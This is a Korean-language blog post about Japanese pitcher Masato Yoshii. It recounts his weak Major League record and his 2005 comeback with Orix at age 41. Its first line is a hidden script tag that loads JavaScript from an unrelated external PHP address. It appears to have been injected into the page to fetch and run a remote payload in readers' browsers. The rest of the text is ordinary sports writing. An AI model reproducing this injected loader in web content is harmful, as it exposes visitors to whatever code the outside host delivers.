<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>여기에 지나치게 평범한 아니 어쩌면 너무나 초라한 성적으로 무대에서 사라져버려
사람들이 잘 기억하지 못하는 선수가 있다. 그의 이름은 요시이 마사토.(よしい・まさと)...
1965年4月20日生 身長188cm 体重95kg 右投 右打
1983年 드래프트 전체 2위
1985년에서부터 1997년까지 13년간 일본에서 활약한 뒤 메이저리그에 도전 1998년부터
2002년까지 그 무대에 서 있었던 지금은 마흔 살이 훌쩍 넘어버린 그런 아저씨 선수...
그런 그는 몬트리올에서 2002년 4승 9패라는 초라한 성적을 뒤로 한 채 고향 일본으로
돌아온다. 그리고 그는 2003년 오릭스에서 중간계투, 선발 마다않고 24번 등판하여 2승 7패
방어율 6.51을 기록한다. 이에 주위에서는 더욱 망가지기 전에 은퇴를 권고한다. 하지만
요시이는 다시 한번 도전을 선택한다. 그리고 맞이한 2004년 그는 잦은 부상과 함께 2군으로
추락해버린다. 그 해 그가 1군에서 기록한 성적은 총 3.2이닝 투구에 0승 1패 방어율 17.18....
이제 더 이상 그가 설 곳은 없어 보인다.
하지만 그는 인생의 마지막을 걸어 지난 겨울을 보내고 올시즌 오릭스의 스프링캠프에
나타난다. 그저 도전자의 모습으로서 말이다. 그리고 그는 스프링캠프에서 모두에게
자기 소개를 한다.
"1군에서 선발투수 하고 싶은 요시이입니다. 어떤 신문에서 저보고
아저씨라고 하는데 그렇게 늙어보이나요? 요미우리의 구도선배가 저보다 한 살이나
많은데 늘 저한테만 아저씨라네요. 여러분은 절 동료로 봐주시면 좋겠습니다. 아직
미숙한 거 투성이인 그렇게 나이만 먹은 요시이 마사토입니다. 잘 부탁드립니다"
그리고 그는 오오기 감독이 보는 앞에서 투구테스트를 받고 2005 시즌 일본프로야구
오릭스 버팔로스에서 현역 최저연봉인 500만엔에 싸인을 하고 그의 마지막이 될지
모르는 시즌을 시작한다. 그리고 지금 그는 13번의 선발 등판에서 6승 4패에
방어율 3.88을 기록하며 실질적인 팀의 기둥 역할을 하고 있다. 현재 오릭스의 마무리를
맡고 있는 가토는 이렇게 이야기 한다. "요시이 상은 늘 젊은 선수들보다 한발 먼저
일분 먼저 시작합니다. 그리고 지금도 우리에게 새로운 구질을 묻곤 합니다. 자신이
잡은 그립이 어떠냐며 한번 봐주지 않겠냐며 말이죠...그런 요시이 상을 보면서 우리는
내 10년 아니 15년 뒤를 생각합니다. 가능할까 하구요.."
올시즌 우리나라 나이로 41살을 맞이한 요시이 마사토 그가 메이저리그의 5시즌동안
기록한 성적은 32승 47패 4.62의 방어율이다. 구원투수였던 김병현 선수와 승이
얼추 비슷해보일 정도의 초라한 성적표였다.
메이저리그에는 불혹이 무색할 만한 선수들이 정말 많이 있다. 올시즌 사이영에 도전중인
로저 클레멘스나 빅유닛 랜디 존슨 그리고 수많은 선수들...그들의 선수생활은 요시이
마사토에 비할 수가 없다. 너무나 찬란하고 역사에 길이 남을 선수이기에 말이다.
하지만 메이저리그에서의 참담함에도 다시 일본에서 조카뻘되는 선수들과 땀을 흘리며
올시즌도 41살이라는 나이에 마운드에 서 있는 요시이 마사토도 한번쯤 기억해주자..
많은 한국인 메이저리거가 요즘 한참 날라다니고 있단다...박찬호, 김병현, 서재응, 김선우
난 그들이 꼭 메이저에서 은퇴하는 것만이 명예롭다고 생각하지 않는다. 언젠가 그들이
한국 프로야구에 돌아와서 그들이 지도자로서가 아닌 같은 동료 선배로서 후배들에게
다른 누구도 가르쳐줄 수 없는 무언가를 전수해주기를 희망한다. 지금의 1승 1승이
그들에게는 피말리는 순간이겠지만 그러한 피말리는 도전끝에는 새로운 도전을 해주길
진심으로 바라마지 않는다.
요시이 마사토..콧수염을 보면 정말 동네 아저씨 같다. 일본프로야구에서도 1997년
13승 한것이 고작 최고승이었을 정도의 평범한 선수. 그런 선수가 지금 일본에서
많은 사람들에게 회자되고 아직도 활약하고 있음을 보며 화려한 선수만이
최고의 선수는 아니라는 생각을 해본다.
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